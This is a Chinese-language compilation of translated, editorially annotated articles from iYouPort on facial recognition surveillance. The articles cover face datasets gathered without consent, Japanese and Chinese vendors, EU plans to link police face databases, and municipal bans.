该报告很大程度上基于 Adam Harvey 和 Jules LaPlace 发表在 MegaPixels.cc 网站上的信息 —— 其中至少有30个面部图像数据集可以追溯到至少2007年。

Megapixels “精确定位了由微软、斯坦福大学和其他公司建造的这些存储库，其中一个存储了超过1000万个图像，而另一个存储超过200万个。”

⚠“不仅包括公司和大学，还有澳大利亚、中国、印度、新加坡和瑞士的研究人员、政府和私营企业，广泛地分享了这些数据，用于培训

人工智能……”。

关于这些数据集的使用者，纽约时报显然没有提到其中一个重量级的单位：美国政府和军事机构，他们一直在通过与私营公司和大学研究机构合作以进行测试和开发。

例如，2014年斯坦福大学和德国马克斯普朗克信息学研究所共同发起了一个名为 Brainwash 的项目，在旧金山市中心的 Brainwash 咖啡馆中部署了一个隐藏的网络摄像头。

斯坦福大学以其与美国军事情报界的密切联系而闻名。

谷歌就是在斯坦福大学开发的，由国防高级研究计划局（DARPA）和其他国家情报机构在20世纪90年代初提供的资金。

在这里看到具体介绍《**谷歌的真面目—— They’re always watching**》。

纽约时报显然也没有提及，马克斯普朗克研究所与德国政府有着长期的直接联系。

在为期三天的时间内，未经 BrainwashCafé 咖啡店同意，该监视项目共捕获了11,917个视频流，每个视频流100秒。

根据 MegaPixels 的说法，“没有任何普通的咖啡馆客户会想到他们的形象会最终出现在用于监控研究和开发的数据集中，但这正是旧金山 Brainwash Cafe 的客户身上所发生的事。”

MegaPixels 还表示，这些视频是来自 AngelCam 并被在线发布的，AngelCam 是一种网络流媒体服务，用于家庭监视目的，每月只需6美元。

⚠**Brainwash** 数据库随后被用于中国、瑞士、荷兰、美国、印度和加拿大的 **AI** 研究目的。

在另一个案例中，纽约时报说，杜克大学的研究人员于2014年在校园内使用八台摄像机启动了一个名为 Duke MTMC 的项目，构建面部图像数据库。

这些摄像机的下面贴有标志，上面有一个电话号码和电子邮件地址，供想要退出该研究的人使用。

该监视项目在14个小时内收集了大约2,700个人的200万个同步视频帧，其中大多数被拍到的人是学生。

纽约时报再次隐藏了有关美国政府使用杜克 MTMC 数据集的重要细节。

不过 MegaPixels 报道⚠中国政府也使用了杜克大学的照片 —— 仅在**2018**年就有超过**90**个研究项目 —— 用于监视目的。

Harvey 和 LaPlace 还解释说，该数据集的最初创建“部分得到了美国陆军研究实验室的支持”，并用于“监视目的自动分析人群和社交聚会”。

此外，MegaPixels 报告称，“来自美国和欧洲的案例显示出与中国相似的趋势，包括美国国土安全部、IARPA、IBM、为ICE提供监视技术的 Microsoft、以及与英国国防部合作的 Vision Semantics。

时报还回顾了2016年创建的名为 MS Celeb 的微软数据集，该数据集包含1000万张图像，这些图像来自“表面上是名人数据库”的网站。

但是，这可不仅仅是“名人”，许多其他人的名字和图片都包含在数据库中。

纽约时报还没有提到，⚠MegaPixels 在 MS Celeb 数据库中发布了24个名单，其中包括作者、记者、电影制作人、博主和数字权利活动家。

尤其还包括杰里米·斯卡希尔（**Jeremy Scahill**），他是 **Intercept** 的记者和编辑，曾广泛撰写有关战争罪的文章，并为维基解密编辑朱利安·阿桑奇（**Julian Assange**）辩护，反对美国的监禁和引渡。

MS Celeb 数据集包含200张 Scahill 的面部照片。

延伸：《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》。

MS Celeb 数据集的目标是针对100万人，并包括另外 900,000 个没有附加图像的名称。其中 10万人的数据集已被十几个国家访问。

MegaPixels 网站显示，⚠**2018**年在全球发生的**124**个研究项目中使用了 **MS Celeb** 数据集，其中大部分位于中国（**47**）和美国（**42**）。

MegaPixels 网站上还有两个图像数据库未被“纽约时报”报道，其中一个来自牛津大学，另一个来自科罗拉多大学。

牛津中心数据集包含自2007年起从英国牛津 Cornmarket 街和市场街拐角处安装的监控摄像头拍摄到的2,200人的视频。

该监视项目由牛津大学在一项名为 Project HERMES 的欧盟人工智能计划的支持下进行。

MegaPixels 报告说，该图像数据集已被广泛分享，提供给来自世界各地的**80**个研究项目使用。

根据 MegaPixels 的说法，最终的数据集来自科罗拉多大学科罗拉多斯普林斯分校，其中1,700名学生和其他行人“在他们不知情的情况下被使用远程高分辨率监控摄像机拍摄”。

这些照片是在2012–2013学年春季学期在科罗拉多校区西草坪上拍摄的，并且是在学生们在课间休息时。

MegaPixels 报道，毫无约束的脸部数据集 “为研究人员提供了真实的监控图像，以帮助构建面向国防、情报和商业合作伙伴的人脸识别系统。”

总的来说，MegaPixels 在30个公开可用的人脸识别和面部分析数据集中找到了2400万张“非合作的，非自愿被拍摄的照片”，这些照片是在没有任何明确同意的情况下被收集的，这是一种研究人员称之为“在野”的面部图像。

每张图片至少包含一张脸，许多照片包含多张脸。在所有2400万张图片中，大约有100万个独特的身份。“

软件公司 Clarifai 收集了一个面部数据库，其中包含来自约会网站 OKCupid 的图片。

Clarifai 的首席执行官 Matthew Zeiler 告诉“纽约时报”，他有权访问 OKCupid 图片，因为“一些约会网站的创始人投资了他的公司。”

Zeiler 还表示，⚠他与一家大型未透露名字的社交媒体公司签署了一项协议，“将其图像完全用于训练人脸识别模型”。

猜猜看，这家“大型”社交媒体公司，是谁？

Clarifai 使用 OKCupid 照片开发面部识别软件，可以识别分析面部的年龄、性别和种族。

当被问及意图时，Zeiler 说：⚠“如果情况合适，**Clarifai** 会将其面部识别技术出售给外国政府、军事行动和警察部门。”

欧洲和美国大学以及硅谷科技公司十多年来一直参与收集“非合作、非自愿照片”，用于研究目的，此揭露再次表明，实施面部识别和生物识别技术的国家监视工作进展顺利。

这些组织秘密创建和分享用于人工智能开发的面部图像之内幕也暴露了学术界和企业界明显参与了攻击基本民主权利的交易。

尽管 Adam Harvey 和 Jules LaPlace 在 MegaPixels 上发布的信息得到了 Mozilla 开源社区的支持，但自2017年11月开始提供以来，包括纽约时报在内的企业媒体一直没有报道，直到现在。

现在报道这件事是因为美国公众对地方、州和联邦警察机构对整个社会进行面部识别和生物识别监视的反对意识和愤怒日益增加。简单说，目前报道它能获得更多点击量。〇

Massive photo databases secretly gathered in US and Europe to develop facial recognition

原文

日本和中国争夺人脸识别霸主地位 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年6月17日存档】为了延续利维坦的世界，他们处心积虑

A passenger boards a plane at an airport using NEC's facial recognition technology. (Photo by Tadatsugu Shimazu

从购物到银行再到登机，基于面部识别的经济正在日本扎根，消费者被置于无现金的生活状态。

- 现金为什么是敌人？因为隐私是敌人，隐私是敌人是因为它使政府控制变得更加困难《恐怖的反现金之战》

当游客降落在和歌山县西部的南纪白滨机场时，他们看到的不是白川市闻名的熊猫，而是电视屏幕上显示的 "欢迎先生/女士 —— 访客的真实姓名"。

访客可以在商店里刷脸购买口香糖，也可以不带钥匙进入酒店房间。他们可以前往世界主题公园，在这里客人可以预先注册以通过面部识别进入，观看熊猫和海豚。

这些是NEC在白滨町进行的面部识别实验的一部分。

这家日本电子制造商押注，所谓的便利性与对数据安全性的信心结合起来将 "成为面部识别技术市场上的制胜法宝"。

- 《便利的暴政》

据印度研究公司 Mordor Intelligence 称，随着技术扩展到自动驾驶、金融和医疗，全球面部识别市场将从2018年到2024年翻一番，达到91亿美元。

毫无疑问，中国公司在该领域占据主导地位，因为它们在规模和准确性上均名列前茅。但是，随着华盛顿和北京在贸易和技术上争执不

休，日本企业正在看到“机遇”。*Visitors can enter theme park Adventure World in western Japan's Wakayama Prefecture with their faces. (Photo by Kosuke Shimizu)*

NEC 目前世界领先的面部识别技术是基于半个世纪前该公司构建的技术。**1989**年该公司就开始研究面部识别了，早期的错误识别率约为30%。

而现在该公司采用人工智能并开发了原始算法，稳步提高了其技术的准确性和速度。

现在，NEC的错误识别率已降至0.5%，而其系统每秒可进行2.3亿次惊人的识别操作。速度和容量远远超过其他公司的能力，这就是NEC的技术在美国国家标准技术研究院（NIST）基准测试中排名第一的原因。

然而，尽管NEC拥有技术优势 —— 包括应对衰老和遮盖脸部的识别能力 —— 但中国的监视相机和面部识别系统供应商仍在全球市场上抢占了很大的份额。

执政的共产党对监视每一个公民的巨大需求帮助催生了蓬勃发展的监视部门。估计有2亿台监视摄像机散布在中国各地。消费者很少有理由抵制面部识别系统。

杭州海康威视数字技术有限公司是一家获利的中国企业。它已成为世界上最大的监控摄像头制造商，部分原因是其提供的产品价格低于发达经济体供应商收取的价格的一半。

- 列表-4 “作恶者：谁在帮中国”

在NIST的2018年排名前五名中仅落后于NEC的三位的中国参与者是：易图科技、深圳先进技术研究院、和SenseTime。

与2013年相比，这是令人震惊的一步，当时前五名竞争对手中完全没有中国公司。

但是，随着华盛顿和北京就贸易和技术争执不休，新的壁垒正在上升。海康威视的增长速度已经放缓，2019年上半年销售额同比增长10% —— 是2017年全年增长率的三分之一。

去年10月，特朗普政府禁止了28个中国高科技设备公司。海康威视、Yitu 和 SenseTime 均在列表中。该禁令限制了对软件、半导体和其

他重要组件的采购。

对于 NEC 之类的日本公司来说，美国的决定以及对中国监控行业的普遍怀疑给日本监视技术提供了一个机会窗口。

NEC与日本国立信息与通信技术研究所共同开发了一种基于量子密码技术的面部识别系统，这种形式的加密技术被认为几乎无法破解。该公司希望通过强调 “降低泄漏风险” 来推销该监视系统。（也就是竭尽全力维持监视的存在状态）

中国企业以低价打入了新兴市场，这意味着日本和其他竞争对手也需要提供负担得起的选择来提高竞争力。

松下在去年11月推出了一种基于云的面部认证系统，采用即付即用模式。该公司对每张身份验证收取1日元（不足1美分）—— 它愿意以低利润率来推广该服务。

但是，隐私问题可能会以无法预料的方式发挥作用。微软总裁 Brad Smith 去年曾表示：“可以说，面部识别精灵刚刚从瓶子里冒出来。”

他警告说这些系统可能会被用来歧视少数群体、侵犯人们的隐私、并导致全球范围内的大规模监视。他说：“我们相信，各国政府必须开始采用新法律来规范这项技术。”

旧金山市今年禁止警察和其他机构使用面部识别软件。欧洲联盟也正在认真考虑类似的举动。

在微软的推荐之后，NEC 发表了一份声明，总裁兼首席执行官 Takashi Niino 表示，他“欢迎这次辩论”。〇

Japan in race with China for facial-recognition supremacy

原文

欧洲对面部识别和其他中国技术的兴趣正在填补美国缺席的深圳展会 - iyouport

作恶者：谁在帮中国生物识别-眼下最严重的威胁，以及怎么办

【2020年5月20日存档】是欧洲公司想要以中国为市场，而不是反过来。这引出了另一个问题……

去年底出现了创纪录的44个代表团参加在深圳举行的中国高科技博览会，这些代表团来自俄罗斯，伊朗，匈牙利，奥地利，瑞典等国，表面上看似乎在弥补缺席的美国公司。

展会上唯一的美国公司来自休斯敦，该公司负责销售羊毛产品。

在美国政府将中国公司列入黑名单后，两国之间的贸易紧张局势日益加剧，因此美国公司现在在与外国技术公司进行业务交易时持谨慎态度。

美国政府禁止购买中国面部识别和生物识别监视公司 Megvii、华为、海康威视和 SenseTime 等公司的产品。然而欧洲公司正在考虑对中国半导体、**5G**和**AI**技术进行投资。

华为与中国云提供商金蝶合作推出了云服务。去年，两家公司签署了合作伙伴关系，随后金蝶从亚马逊的AWS转移到华为的云，称 “为减少对美国供应商的依赖”。

参加深圳科技博览会的嘉宾都经过了面部识别筛查。

Phoenix AI 首席执行官兼创始人 Laurent Renard 表示，比利时实际上禁止使用面部识别技术，但这促使了本地公司开发针对中国市场的面部识别解决方案。

如此可见，一国阻止面部识别技术可能是无用的，甚至该国的开发者会更加主动地为其他没有禁止该技术的国家提供资源。

这很严重。这意味着我们需要更多明确的法律对出口监视技术的限

制。

- 《报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 曾经一直以来《中国的反乌托邦监视国家是美国制造的》，此后可能会变成欧洲制造？不能让这种事继续发生。
- 在IYP的专栏 《作恶者：谁在帮中国》看到更多揭露。

在这次会议期间，欧洲代表推动加强中欧合作，特别是在数字支付和电子商务等领域。

参会的意大利前经济发展部副部长是意大利参与中国“一带一路”基础设施计划的最高倡导者；来自医疗设备制造商的许多欧洲代表认为，监管和文化障碍使他们无法在该国扩展业务（他们就跑去中国 “开展业务” 了）。

根据 France24 的报道，中国公司 —— 特别是一些专注于开发监视系统的公司，在巴黎举行的国土安全贸易盛会 **Milipol** 上亮相。在**1,100**家公司中，有**89**家来自中国。

但是，它没有展示武器和弹药，而是侧重于面部识别技术、头盔、防弹背心和战术服装。

Hytera Communications Corporation 展示了一种通信设备，该设备将用身体摄像机收集的图像发送到智能手机，这是对警察来说理想的解决方案。

- 关于身体相机，这是美国最先引领的监视方案《身体相机适得其反吗？中国正在开始流行这种东西》

公司代表 Sylvain Shuang 说：“每个警官都可以在智能手机上直接看到战术状况。” 他补充说，这些图像可以与监控摄像头的图像匹配，并且它们集成了面部识别技术。

尽管该公司无法获得与美国的合同，但其40%的业务是在中国境外的 —— 英国、加拿大和西班牙。

视频监控公司海康威视（Hikvision）在美国也遇到类似的情况。该公司2018年与尼斯市合作为其配备了视频监控系统，但去年在Milipol 却没有展位。

参加此次活动的另一家中国公司是 Norinco，他们展示了其面部识别

技术。

一位公司代表说："在中国，面部识别不是一项新技术，在大多数公共场所都有此监视系统"。他进一步补充说，由于隐私问题，该技术在欧洲很难销售。

这份报道提醒的重点问题是：监视技术依旧是财源，这导致了在本国无法销售的监视工具更多倾向于销往隐私权法律不完善的专制国家。专制国家的反监视活动家可能需要更多的努力才能阻止这一事态的发展。〇

European interest in facial recognition and other Chinese tech balances U.S. absence at Shenzhen event

原文

泄漏文件：跨大西洋联合监视网络就要诞生了 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办老大哥的真面目

跨国追捕变得越来越容易，因为不同国家的警察和间谍具有共同的目标和利益。如果您认为地缘政治角度上的对手和敌对双方不至于共享情报？..... 我们对此持谨慎态度，您知道，跌眼镜的事儿总是层出不穷的

「图」

「图」

西班牙的一名警探正试图解决犯罪问题，但她手边只有一张嫌疑犯的脸部图像，是被附近的监视摄像头捕获的。

长期以来，欧洲警察一直可以访问欧盟27个国家的指纹和DNA数据库 —— 在某些情况下还包括美国的，但是不久之后，这些警察也许还可以搜索遍布整个欧洲和美国的面部数据库网络。

根据泄露的欧盟内部文件，欧盟可能很快会建立一个国家警察面部识别数据库网络。由奥地利领导的10个欧盟成员国的国家警察部队起草的一份报告呼吁将此引入欧盟立法，以便在每个成员国都引入和互连此类监视数据库。

这份报告是从一位关注该监视网络发展的欧洲官员那里获得的，该报告于2019年11月在欧盟和各国官员中分发。

而且这个新的面部识别监视网络可能会连接到美国的类似监视数据库，从而创造出隐私研究人员所说的：跨大西洋生物识别数据的大规模整合方法。

该报告是关于扩展 Prüm 系统的讨论的一部分 —— Prüm 监视系统是欧盟范围内的一项计划，旨在连接**DNA**、指纹、和车辆注册数据库，以进行更为广泛的监视搜索。

美国与任何参与免签计划的国家/地区之间都存在类似的监视系统，其中包括大多数欧盟国家；双边协议允许美国和欧洲的机构访问彼此的指纹和DNA数据库。

尽管尚未提出遵循该报告建议的新立法，但筹备工作仍在进行中。

欧盟委员会去年11月向欧洲议会提供的信息显示，咨询公司德勤（Deloitte）将花费近700,000欧元（约合75万美元）以研究 Prüm 监视系统的可能变化，其中一部分专注于面部识别技术。

欧盟委员会还分别向爱沙尼亚取证研究所牵头的一个公共机构支付了500,000欧元，以“描绘出所有欧盟成员国在刑事调查中面部识别使用的现状”，旨在“朝着可能交换面部数据的方向发展”，根据发送给布鲁塞尔国家代表的项目介绍中所说。

“这在国家层面和欧洲层面都是令人担忧的，特别是在一些欧盟国家转向更专制的政府的情况下，” 国际隐私组织倡导总监 Edin Omanovic 说。

Omanovic 担心泛欧洲生物识别数据库被用于“出于政治动机的监视”，而不仅仅是标准的警察工作。

大规模、不正当或非法监视的可能性是面部识别技术的许多批评之一。另一个是众所周知的错误率，特别是对于有色人种而言。

Omanovic 说：“没有使面部识别技术合法的透明度和法律保障，就不应该使用它。”

近年来，欧盟已采取重大步骤来连接大量移民管理和监视的数据库。去年4月通过的新立法建立了一个超级数据库，该数据库将存储多达3亿个 *非欧盟国家公民* 的指纹、面部图像、和其他个人数据，并合并了来自五个不同系统的数据。

根据十个警察部队的报告，德勤咨询公司提议对警察的面部图像进行同样的处理，但是，这个想法遭到了执法人员的一致反对 —— 警察有特权，监视只针对老百姓。

尽管如此，该报告仍建议连接所有欧盟成员国的面部数据库，这似乎具有相同的实际效果。

在另一份欧盟内部警察报告中（该报告来自 Prüm 工作组），警察指出“相互连接的国家登记册网络可以看作是虚拟的全欧洲登记册。”

对于警察而言，互连的面部识别数据库的优势显而易见。

这份由奥地利领导的报告将这项监视技术视为识别未知嫌疑人的“高度合适”的生物统计工具，并建议应“尽快”创建和连接所有数据库。

隐私专家指出，在数据保护控制措施严重不足的情况下，创建任何此类大规模监视系统都是迈向更大程度地监视的第一步。

美国公民自由联盟高级立法顾问 Neema Singh Guliani 表示，欧洲整合警用面部识别数据的举动与美国的类似做法非常相似。许多美国执法机构在所谓的“融合中心”工作，他们能够广泛地共享数据。

Guliani 说，如果您与 FBI 或国土安全部达成了信息共享协议，那么“很可能也就此达成了与美国其他级别的执法部门的信息共享。”

她补充说：“这提出了许多问题。警方如何在正当程序和《第一修正案》方面解释如何使用面部识别和收集图像；鉴于现有的信息共享关系，美国很可能希望访问这些信息。”

早在**2004**年，美国驻布鲁塞尔大使馆就呼吁与欧盟建立关系，以允许“扩大交流并共享包括个人数据在内的所有形式的数据。”

近年来，朝着这个目标的努力已经明显加强。根据政府问责办公室的报告，2015年，国土安全部开始要求实施免签证计划国家/地区的数据共享协议。这包括联邦调查局向其他国家提供协助，以建立必要的计算机网络。

奥地利刑事情报局高级官员 Reinhard Schmid 解释说，奥地利就是一个例子，该国已经于2017年10月开始根据FBI的刑事调查指纹数据库检查指纹。

自那时以来，已经对大约 12000 个人的生物识别数据进行了交叉检查，共进行了150次监视。Schmid 说：“在这些被追踪的人中，大约有20人正在接受调查；在56起案件中，目标人试图使用虚假身份。

Guliani 说：“他们的逻辑是，‘当我有一个罪案需要调查，并且想要在数据库中查找某人的照片时，为什么不应该拥有这个？”

但是，她补充说，隐私隐患是巨大的。“一旦获得访问权限，您最终就可以识别几乎任何地方的任何人。”

10个警察部队的报告呼吁欧盟警察情报和情报共享机构 Europol 在与

非欧盟国家 交换面部识别和其他生物识别数据方面发挥作用。

这与欧洲各国政府本身的建议相呼应：2018年7月的一项宣言呼吁欧盟委员会考虑 “扩大 Prüm 监视网络的范围”，并要求 Europol 率先与第三国共享数据。

联邦调查局和欧洲刑警组织没有回答有关欧盟与美国之间数据共享协议的问题。欧盟委员会发言人承认将面部识别数据添加到了 Prüm 监视网络中的前景，但是拒绝透露更多细节。〇

LEAKED REPORTS SHOW EU POLICE ARE PLANNING A PAN-EUROPEAN NETWORK OF FACIAL RECOGNITION DATABASES

原文

灾难性未来 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

隐私真的已经死了吗？纽约大学教授预测到一种灾难性的未来，当这个世界完全变成生物识别的天下时会发生什么？

「图」

「图」

隐私的未来正在形成—— 而且真正有可能产生灾难性的后果。

这是2034年。世界被划分为受保护的生物识别数据区，每当你去任何地方，你的DNA和你身体的其他生物元素都会通过庞大的数据库进行身份验证，以确认你的身份（你没有破坏任何法律规则）。

出现了一种新的经济和社会阶级体系，只有富人可以通过这种体系来匿名化并保护他们的数据。强大的公司挖掘所有其他人的生物数据，而政府则创建通用的基因数据库来密切关注公民的一举一动。

您不知道您的数据到底在哪里，谁拥有它，以及谁有权访问它。

这听起来像是一个地狱般的反乌托邦，但这并不是来自科幻作家的故事。纽约大学斯特恩商学院教授、咨询公司 Future Today Institute 的创始人 Amy Webb 和她的团队在其第12期年度新兴技术趋势报告中发现并发表了这一首要的轨迹。

Webb 撰写了关于这些场景的文章，以帮助人们理解他们当下决策的实际结果，将她的场景基于来自技术边缘的信息，这些信息通常不是在媒体上出现的，然后向前推断。

她在奥斯汀举行的 South By Southwest 会议上展示了这个反乌托邦的情景。它基于 Webb 目前正在看到的最大的社会趋势之一：隐私已死。

Webb 和她的团队将他们的报告—— 以及这一特定情景—— 基于一些新兴技术，他们认为这些技术正在融合成对隐私的严重威胁。这些包括可穿戴设备和生物识别扫描的普遍兴起，Webb 将其定义为“实时挖掘、改进和优化我们的生物数据，以帮助系统学习、分类、回应或报告关于我们的一切。”

什么是生物识别扫描？ Kia 正在建立汽车中使用的情感检测，表面上看，这样的检测系统可以识别你在驾驶中出现的愤怒情绪并帮助让你平静下来。亚马逊已经提交了情感识别技术的专利，Webb 说她确信该技术将以 Alexa 的形式进入我们的生活，记录你的声音的基线读数，然后随着时间的推移使用机器学习来了解你何时感到沮丧、焦虑、快乐、或感冒。

在2018年，沃尔玛为一个联网的购物车申请了专利，该购物车将收集消费者的心率和体温等健康数据，以监控您在商店中走动时的心态。

然后就有了基因识别—— 尽管许多人已经自愿放弃了自己的 DNA 送给了 Ancestry 和 23andMe 这样的公司，但关于这个生物数据可用于什么的法律依旧很少（FTC 正在调查那些公司使用数据的情况）。

Webb 说，她看到通用基因数据库的呼叫已经明显增加，特别是在执法方面，每个人的生物识别数据都被放在同一个地方。虽然 Webb 说这可以很好用，就像帮助医学研究一样，但是，它也可以被威权政府用来追踪任何他们想要的人。Webb 说，像沙特阿拉伯这样的国家已经在考虑建立这些通用的基因数据库。

将所有这些与可穿戴设备相结合，这使得人们更容易自愿放弃生产设备的公司的生物数据，并且你会开始看到一个令人痛苦的画面：仅仅为了支持公司和政府的利益，个人隐私已被抛弃。

但这种反乌托邦的情景并非不可避免。在她的 SXSW 演讲中，Webb 还讨论了可能发挥作用的积极和中立场景。在她认为更有可能的中立场景中，Webb 设想了一个未来，只有少数科技公司最终得到我们的大部分生物识别数据，但它不能互操作，这意味着数据不能在公司间交换（用户间也不会交换）。

她还描绘了一个场景，其中隐私的终结并不一定是“坏事”—— 人们了解科技公司和其他人如何、何时、何地以及为何收集他们的数据并将数据专注于改善人们的生活。密码、登机牌、甚至驾驶执照都不再存在，取而代之的是每个人的生物识别指纹。

“科技丰富了我们的生活！隐私已经死了，但我们对此感到满意，“ Webb 假设，指出一个关于隐私、同意和透明度的明确规定的世界，以及公司遵守这些规则并尊重人们的隐私的状态。不出所料，她认为未来发生这样的事的可能性非常小。

在她的演讲中，随着围绕数据治理和所有权增长的全国性对话，Webb 提出了一系列问题，每个人都应该考虑这些问题：

- 谁拥有您的生物识别数据？
- 您是否有权在持续被识别的情况下保持您的情绪、精神状态和其他生物识别细节？
- 您的组织或公司如何安全的、合乎道德地使用此类生物数据？
- 谁真的拥有你的DNA？
- 您可以为您的DNA注册商标，以便其他人无法复制或使用它吗？
- 如果你在技术上不能拥有自己的DNA，那么谁拥有你的身体和所有的东西呢？

这些是我们现在要问的关键问题，特别是当立法者辩论数据治理和隐私法案时。即便是硅谷风险投资专家也认为数据隐私对话早就应该进行了。

Privacy in 2034: A corporation owns your DNA (and maybe your body) NYU professor Amy Webb believes the future of privacy is currently taking shape–and there’s a real chance of a truly catastrophic outcome.

原文

禁令可能无效，分析师称面部识别监控将继续存在 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年11月7日存档】精灵已经出了瓶子，如何再让它回去？

越来越多的州和市立法机构正在采取措施遏制政府对面部识别技术的使用。

但分析师表示，即使面临新的限制，该技术也很可能无处不在。

延伸：《禁止面部识别，真的可以吗？》《禁止面部识别可以做到什么、不能做到什么》

继旧金山于5月份在全市范围内实施禁令后，马萨诸塞州萨默维尔于6月27日成为美国第二个禁止使用该技术的城市。

隐私倡导者引用了“面部监视”所引发的道德问题，包括政府滥用的可能性及其在种族和性别方面的不平等表现。

Forrester Research 的安全和风险团队主管 Merritt Maxim 表示，尽管面部识别有了这些新的限制，但是，这项技术已经变得非常普遍，足以让国家和地方政府绕避禁令。

“该技术已经开发出来了，它已经被部署用于各种不同的用例。肯定会继续下去。”

根据 May Georgetown 法律中心的报告，底特律和芝加哥已经花费了数百万美元用于先进的面部监视系统；华盛顿特区、奥兰多和纽约市都启动了试点计划。

即使在警务方面，很多美国人也对使用面部识别技术“感到满意”。（？？）

数据创新中心今年进行的一项调查显示，只有26%的受访者认为政府应严格限制面部监控。

支持限制该技术的人就更少了。

“如果您仍然拥有[面部识别]的一些主要消费设备，它就必须成为讨论的一部分，” Maxim 说，注意到越来越多的消费者习惯于使用面部识别登机或每天用来解锁他们的 iPhone。

“目前还不够可靠”

根据最近的市场报告，美国公共部门仍然是面部识别供应商向前发展的关键市场。

持续的需求使得私营公司有责任考虑道德问题。比如亚马逊，仍然向政府和执法部门出售他们的技术。

Axon 是美国警用监视摄像机的主要供应商，该公司已经宣布它不会销售使用“面部匹配技术”的产品 —— 或为其检测到的面孔分配数字身份 的监视产品 —— 在其道德委员会关于该技术的批评报告发布之后。

但 Axon 不排除未来将该技术商业化。

Maxim 表示，虽然 Axon 的决定反映了私营部门的一些参与者“从最初采取更积极的面部识别方法中退却”，但是，其他因素也可能正在发挥作用。

他说，由于警察部门难以负担得起并安全地存储他们收集的巨大数据，他已经看到执法机构对身体摄像头的需求逐渐减少 —— 制造更先进的摄像头，例如采用面部监视的摄像头，是想不通的。

‘严重关切’

无论是什么原因，警察机构都已经制定了自己的面部识别技术禁令，即使没有州或市政府的裁决。

“奥斯汀警察局目前不使用或访问面部识别技术，并决定不这样做，直到我们征求社区对技术界的反馈并评估其对我们部门和社区的影响，”奥斯汀警察局新闻官在一份声明中说。

Maxim 表示，他认为面部识别和生物识别技术面临的最严峻挑战不是

来自禁令，而是可能来自法庭系统。

伊利诺伊州2008年生物识别信息隐私法引发了一系列针对私营部门使用生物识别技术的法律挑战，其中包括针对 Facebook 收集其用户生物识别信息的持续案件。

“现在，我认为这将带来更多的挑战，也会影响其他可能制定与生物识别数据相关的隐私法的国家，” Maxim 说。

在萨默维尔，活动人士对这座城市的禁令表示赞赏，并表示这是对当地机构面临全国性挑战的提醒。

“我对面部识别技术的使用表示严重担忧，我赞扬市议会采取这一重要行动，禁止在我们的社区中获取或使用此类技术，”Somerville 市长 Joseph Curtatone 在给 StateScoop 的一份声明中说。

“作为领导者和公共安全官员，我们的工作是保护和服务我们的社区，但我不相信面部识别技术是一种有效的工具，我也不支持它在萨默维尔市的使用。”

尽管如此，这种孤立的禁令更多地是面部识别监视进步的标志，而不是对其命运的威胁。

“我认为监管总是会能发挥作用的，但我认为监管机构总是落后于技术发展，” Maxim 说。

他说，有可能市场可能会暂时受到影响，但是最终，“精灵还是从瓶子里出来了。” ○

Facial recognition technology is here to stay, say analysts

原文

禁止面部识别，真的可以吗？ - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

旧金山想要禁止政府面孔识别。试图阻止它成为一个监视城市，究竟是为时已晚、太难、还是太具讽刺意味？

旧金山的一位议员正在提出全国范围内的首要议题：完全暂停当地政府使用面部识别技术。旧金山监督员 Aaron Peskin 介绍，“停止秘密监视条例”将禁止所有城市部门使用面部识别技术，并在部门购买新的监控设备之前要获得批准。该法案仅规范本地使用，而非私人公司使用：例如，最新 iPhone 型号中包含的面部解锁功能仍然合法。

邻近城市伯克利和奥克兰已经通过了类似的规则，在官员实施新技术之前需要公众意见和隐私政策，但在美国目前没有任何地方直接禁止面部识别。德克萨斯州和伊利诺伊州在收集面部数据之前需要公民同意，但不禁止这种做法；华盛顿州和马萨诸塞州已经提出禁令，但仍处于批准的最初阶段；旧金山的禁令可能很快会有消息。

除了禁止面部识别技术外，该条例还规定，任何想购买新监控设备的部门—— 从闭路电视摄像机、到社交媒体扫描仪、和车牌阅读器—— 都必须提交“监控技术政策”。说明将使用该技术收集哪些信息，保留多长时间，与谁共享，公众如何注册投诉以及如果指定授权和禁止使用。

该提案还禁止市政官员使用任何来自面部识别的数据。如果邻近城市的警察想要分享一份来自面部识别的嫌疑人名单，都将被旧金山警察局禁止，帮助起草该法案的立法助理 Lee Hepner 解释说。他说这只是改变城市政策和技术平衡的众多步骤中的第一步。

监管监控技术很困难，因为为一个目的收集的数据可用于另一个目的。虽然这并不总是坏事。例如，在纽约，城市数据跟踪被用来预测对租户的骚扰；在萨克拉门托，市政官员通过使用警方用来查找被盗车辆的车牌数据追踪涉嫌欺诈的社会福利受益人。Peskin 的提议属于“诚信”法令：部门必须解释他们计划如何使用该技术，并且不得以其他方式使用这些数据。

法令的第二部分要求年度审查。每年，各部门必须提交一份“监视影响报告”，供公共审查和公开讨论，解释技术的使用方式和原因。这些影响报告包括数据的所有使用，成本（包括人员，维护和设备），以及关键的技术使用地点和这些地点的犯罪统计数据。

例如，如果城市官员想继续在公园内使用监控摄像头以防止汽车闯入，他们每年都必须提交证据以证明摄像头减少了犯罪。

“我们希望在该地区使用该技术是合理的，”Hepner 说。“如果任何这些监控技术的表面上的好处是预防犯罪，那么能够跟踪这一点是有帮助的。“

该条例追溯适用于所有已使用的监控系统和技术。官员们必须每年提交影响报告并披露已经运行的监控技术的成本，希望向公众透露嵌入式监控在他们的日常生活中已经有多么的深入。即使获得批准，技术也可以在日后审核之前被取消。

但是，Hepner的法案只是将面部识别作为一种警务工具，而不包含商业用途。消费者使用面部识别技术来解锁手机、登机、在婚礼照片中标记朋友、在夏令营图片中标记儿童，甚至还可以在棒球比赛中购买啤酒。

这引入了一些讽刺：例如，如果法案通过，SFPD 将被禁止使用亚马逊的 Rekognition 软件在拍摄后扫描嫌疑人的视频片段—— 但是却允许杂货店做同样的事来分析购物者的行为。要想减少这种零售监控—— 特别是考虑到它通常非常方便—— 则将需要一种完全不同的方法。

该条例目前为期30天，公众可在此期间提交意见和阐述疑虑。之后，它将进入该市的规则委员会，Hepner 预计它将很快得到批准。

San Francisco Wants to Ban Government Face Recognition. Is it too late, too difficult, or too ironic to try to stop it from becoming a city of surveillance?

原文

禁止面部识别可以做到什么、不能做到什么 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年10月9日存档】公平地说，技术的确可以做好事，但是，我们没能生活在一个公平的世界里……顺便推荐一个简单的阻止监视的方法

